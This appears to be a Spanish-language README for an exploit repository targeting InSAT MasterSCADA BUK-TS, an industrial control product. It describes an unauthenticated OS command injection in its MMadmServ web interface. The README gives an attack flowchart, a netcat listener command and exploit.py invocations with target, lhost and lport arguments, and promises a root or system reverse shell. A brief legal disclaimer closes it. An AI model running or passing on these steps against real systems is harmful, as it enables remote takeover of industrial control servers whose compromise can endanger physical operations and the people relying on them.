📝 Descripción

InSAT MasterSCADA BUK-TS sufre una vulnerabilidad de inyección de comandos del sistema operativo sin autenticación en la interfaz web MMadmServ. Esta falla permite a atacantes remotos lograr ejecución remota completa de código (RCE) sin necesidad de autenticación.

• Producto afectado: InSAT MasterSCADA BUK-TS (Todas las versiones)
• Tipo de vulnerabilidad: Inyección de comandos del sistema operativo (CWE-78)
• Gravedad: Crítico (CVSS v3.1 Puntaje: 9.8)
• Autor del exploit: Mohammed Idrees Banyamer
• País: Jordania 🇯🇴

🛠️ Diagrama del método de ataque

flowchart TD
    A[Attacker] -->|HTTP POST Request| B[MMadmServ Web Interface]
    B -->|Unauthenticated| C[Vulnerable Parameter]
    C -->|OS Command Injection| D[Command Execution on Target Server]
    D -->|Reverse Shell| E[Attacker's Listener\nnc -lvnp <port>]
    
    style A fill:#ff4d4d,stroke:#fff
    style E fill:#4dff88,stroke:#fff

🚀 Uso

python3 exploit.py <target_url> --lhost <your_ip> --lport <your_port>

Ejemplo

python3 exploit.py http://192.168.1.50:8080 --lhost 192.168.1.100 --lport 4444

Opciones

📌 Cómo usar

1. Inicie un listener en su máquina:

   root@kitploit:~

   nc -lvnp 4444
   

2. Ejecute el exploit:

   root@kitploit:~

   python3 exploit.py http://target-ip:port --lhost your-ip --lport 4444
   

3. Obtenga una shell inversa con privilegios de root/sistema.

⚠️ Aviso legal

Este exploit se proporciona solo con fines educativos y de pruebas de penetración autorizadas.
El uso no autorizado contra sistemas que no le pertenecen es ilegal y puede violar leyes internacionales.
El autor no es responsable de ningún uso indebido.

📬 Autor

Mohammed Idrees Banyamer

• Instagram: @banyamer_security
• GitHub: mbanyamer
• País: Jordania 🇯🇴

¡Dale una estrella ⭐ a este repositorio si te resultó útil!